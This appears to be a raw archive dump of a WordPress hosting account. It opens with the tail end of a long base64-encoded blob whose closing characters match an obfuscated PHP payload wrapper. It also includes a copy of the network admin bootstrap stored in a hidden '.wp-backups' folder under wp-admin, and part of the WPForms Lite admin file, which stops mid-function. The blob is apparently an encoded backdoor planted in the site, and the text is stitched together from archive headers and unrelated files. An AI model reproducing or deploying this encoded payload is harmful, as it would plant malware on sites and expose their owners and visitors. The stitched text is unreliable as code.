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')));home/xbodynamge/crosstraining/wp-admin/network/.wp-backups/admin.php000064400000002011151136610700021650 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}
unset( $redirect_network_admin_request );
home/xbodynamge/namtation/wp-content/plugins/wpforms-lite/includes/admin/admin.php000064400000036146151136667170024560 0ustar00<?php
/**
 * Global admin related items and functionality.
 *
 * @package    WPForms
 * @author     WPForms
 * @since      1.3.9
 * @license    GPL-2.0+
 * @copyright  Copyright (c) 2017, WPForms LLC
 */

/**
 * Load styles for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_styles() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	// jQuery confirm.
	wp_enqueue_style(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery-confirm.min.css',
		array(),
		'3.3.2'
	);

	// Minicolors (color picker).
	wp_enqueue_style(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery.minicolors.css',
		array(),
		'2.2.6'
	);

	// FontAwesome.
	wp_enqueue_style(
		'wpforms-font-awesome',
		WPFORMS_PLUGIN_URL . 'assets/css/font-awesome.min.css',
		null,
		'4.7.0'
	);

	// Main admin styles.
	wp_enqueue_style(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/css/admin{$min}.css",
		array(),
		WPFORMS_VERSION
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_styles' );

/**
 * Load scripts for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_scripts() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	wp_enqueue_media();

	// jQuery confirm.
	wp_enqueue_script(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.jquery-confirm.min.js',
		array( 'jquery' ),
		'3.3.2',
		false
	);

	// Minicolors (color picker).
	wp_enqueue_script(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.minicolors.min.js',
		array( 'jquery' ),
		'2.2.6',
		false
	);

	// Choices.js.
	wp_enqueue_script(
		'choicesjs',
		WPFORMS_PLUGIN_URL . 'assets/js/choices.min.js',
		array(),
		'2.8.10',
		false
	);

	// jQuery Conditionals.
	wp_enqueue_script(
		'jquery-conditionals',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.conditionals.min.js',
		array( 'jquery' ),
		'1.0.1',
		false
	);

	// Main admin script.
	wp_enqueue_script(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/js/admin{$min}.js",
		array( 'jquery' ),
		WPFORMS_VERSION,
		false
	);

	$strings = array(
		'addon_activate'                  => esc_html__( 'Activate', 'wpforms-lite' ),
		'addon_activated'                 => esc_html__( 'Activated', 'wpforms-lite' ),
		'addon_active'                    => esc_html__( 'Active', 'wpforms-lite' ),
		'addon_deactivate'                => esc_html__( 'Deactivate', 'wpforms-lite' ),
		'addon_inactive'                  => esc_html__( 'Inactive', 'wpforms-lite' ),
		'addon_install'                   => esc_html__( 'Install Addon', 'wpforms-lite' ),
		'addon_error'                     => esc_html__( 'Could not install addon. Please download from wpforms.com and install manually.', 'wpforms-lite' ),
		'plugin_error'                    => esc_html__( 'Could not install a plugin. Please download from WordPress.org and install manually.', 'wpforms-lite' ),
		'addon_search'                    => esc_html__( 'Searching Addons', 'wpforms-lite' ),
		'ajax_url'                        => admin_url( 'admin-ajax.php' ),
		'cancel'                          => esc_html__( 'Cancel', 'wpforms-lite' ),
		'close'                           => esc_html__( 'Close', 'wpforms-lite' ),
		'entry_delete_confirm'            => esc_html__( 'Are you sure you want to delete this entry?', 'wpforms-lite' ),
		'entry_delete_all_confirm'        => esc_html__( 'Are you sure you want to delete ALL entries?', 'wpforms-lite' ),
		'entry_empty_fields_hide'         => esc_html__( 'Hide Empty Fields', 'wpforms-lite' ),
		'entry_empty_fields_show'         => esc_html__( 'Show Empty Fields', 'wpforms-lite' ),
		'entry_field_columns'             => esc_html__( 'Entries Field Columns', 'wpforms-lite' ),
		'entry_note_delete_confirm'       => esc_html__( 'Are you sure you want to delete this note?', 'wpforms-lite' ),
		'entry_unstar'                    => esc_html__( 'Unstar entry', 'wpforms-lite' ),
		'entry_star'                      => esc_html__( 'Star entry', 'wpforms-lite' ),
		'entry_read'                      => esc_html__( 'Mark entry read', 'wpforms-lite' ),
		'entry_unread'                    => esc_html__( 'Mark entry unread', 'wpforms-lite' ),
		'form_delete_confirm'             => esc_html__( 'Are you sure you want to delete this form?', 'wpforms-lite' ),
		'form_duplicate_confirm'          => esc_html__( 'Are you sure you want to duplicate this form?', 'wpforms-lite' ),
		'heads_up'                        => esc_html__( 'Heads up!', 'wpforms-lite' ),
		'importer_forms_required'         => esc_html__( 'Please select at least one form to import.', 'wpforms-lite' ),
		'isPro'                           => wpforms()->pro,
		'nonce'                           => wp_create_nonce( 'wpforms-admin' ),
		'ok'                              => esc_html__( 'OK', 'wpforms-lite' ),
		'plugin_install_activate_btn'     => esc_html__( 'Install and Activate', 'wpforms-lite' ),
		'plugin_install_activate_confirm' => esc_html__( 'needs to be installed and activated to import its forms. Would you like us to install and activate it for you?', 'wpforms-lite' ),
		'plugin_activate_btn'             => esc_html__( 'Activate', 'wpforms-lite' ),
		'plugin_activate_confirm'         => esc_html__( 'needs to be activated to import its forms. Would you like us to activate it for you?', 'wpforms-lite' ),
		'provider_delete_confirm'         => esc_html__( 'Are you sure you want to disconnect this account?', 'wpforms-lite' ),
		'provider_auth_error'             => esc_html__( 'Could not authenticate with the provider.', 'wpforms-lite' ),
		'save_refresh'                    => esc_html__( 'Save and Refresh', 'wpforms-lite' ),
		'settings_form_style_base'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>Base Styling Only</strong>, which may result in styling issues. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for common issues and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'settings_form_style_none'        => sprintf(
			wp_kses(
				/* translators: %s - WPForms.com docs page URL. */
				__( 'You\'ve selected <strong>No Styling</strong>, which will likely result in significant styling issues and is recommended only for developers. <a href="%s" target="_blank" rel="noopener noreferrer">Please check out our tutorial</a> for more details and recommendations.', 'wpforms-lite' ),
				array(
					'strong' => array(),
					'a'      => array(
						'href'   => array(),
						'target' => array(),
						'rel'    => array(),
					),
				)
			),
			'https://wpforms.com/docs/how-to-choose-an-include-form-styling-setting/'
		),
		'testing'                         => esc_html__( 'Testing', 'wpforms-lite' ),
		'upgrade_completed'               => esc_html__( 'Upgrade was successfully completed!', 'wpforms-lite' ),
		'upload_image_title'              => esc_html__( 'Upload or Choose Your Image', 'wpforms-lite' ),
		'upload_image_button'             => esc_html__( 'Use Image', 'wpforms-lite' ),
		'upgrade_modal'                   => wpforms_get_upgrade_modal_text(),
		'choicesjs_fields_select'         => esc_html__( 'Select fields', 'wpforms-lite' ),
		'choicesjs_loading'               => esc_html__( 'Loading...', 'wpforms-lite' ),
		'choicesjs_no_results'            => esc_html__( 'No results found', 'wpforms-lite' ),
		'choicesjs_no_choices'            => esc_html__( 'No choices to choose from', 'wpforms-lite' ),
		'choicesjs_item_select'           => esc_html__( 'Press to select', 'wpforms-lite' ),
	);
	$strings = apply_filters( 'wpforms_admin_strings', $strings );

	wp_localize_script(
		'wpforms-admin',
		'wpforms_admin',
		$strings
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_scripts' );

/**
 * Add body class to WPForms admin pages for easy reference.
 *
 * @since 1.3.9
 *
 * @param string $classes CSS classes, space separated.
 *
 * @return string
 */
function wpforms_admin_body_class( $classes ) {

	if ( ! wpforms_is_admin_page() ) {
		return $classes;
	}

	return "$classes wpforms-admin-page";
}

add_filter( 'admin_body_class', 'wpforms_admin_body_class', 10, 1 );

/**
 * Outputs the WPForms admin header.
 *
 * @since 1.3.9
 */
function wpforms_admin_header() {

	// Bail if we're not on a WPForms screen or page (also exclude form builder).
	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	// Omit header from Welcome activation screen.
	if ( 'wpforms-getting-started' === $_REQUEST['page'] ) {
		return;
	}
	?>
	<div id="wpforms-header-temp"></div>
	<div id="wpforms-header" class="wpforms-header">
		<img class="wpforms-header-logo" src="<?php echo WPFORMS_PLUGIN_URL; ?>assets/images/logo.png" alt="WPForms Logo"/>
	</div>
	<?php
}

add_action( 'in_admin_header', 'wpforms_admin_header', 100 );

/**
 * Remove non-WPForms notices from WPForms pages.
 *
 * @since 1.3.9
 */
function wpforms_admin_hide_unrelated_notices() {

	// Bail if we're not on a WPForms screen or page.
	if ( empty( $_REQUEST['page'] ) || strpos( $_REQUEST['page'], 'wpforms' ) === false ) {
		return;
	}

	global $wp_filter;

	if ( ! empty( $wp_filter['user_admin_notices']->callbacks ) && is_array( $wp_filter['user_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['user_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['user_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['admin_notices']->callbacks ) && is_array( $wp_filter['admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}

	if ( ! empty( $wp_filter['all_admin_notices']->callbacks ) && is_array( $wp_filter['all_admin_notices']->callbacks ) ) {
		foreach ( $wp_filter['all_admin_notices']->callbacks as $priority => $hooks ) {
			foreach ( $hooks as $name => $arr ) {
				if ( is_object( $arr['function'] ) && $arr['function'] instanceof Closure ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
					continue;
				}
				if ( ! empty( $arr['function'][0] ) && is_object( $arr['function'][0] ) && strpos( strtolower( get_class( $arr['function'][0] ) ), 'wpforms' ) !== false ) {
					continue;
				}
				if ( ! empty( $name ) && strpos( $name, 'wpforms' ) === false ) {
					unset( $wp_filter['all_admin_notices']->callbacks[ $priority ][ $name ] );
				}
			}
		}
	}
}

add_action( 'admin_print_scripts', 'wpforms_admin_hide_unrelated_notices' );

/**
 * Upgrade link used within the various admin pages.
 *
 * Previously was only included as a method in wpforms-lite.php, but made
 * available globally in 1.3.9.
 *
 * @since 1.3.9
 *
 * @param string $medium utm_medium URL parameter.
 *
 * @return string.
 */
function wpforms_admin_upgrade_link( $medium = 'link' ) {
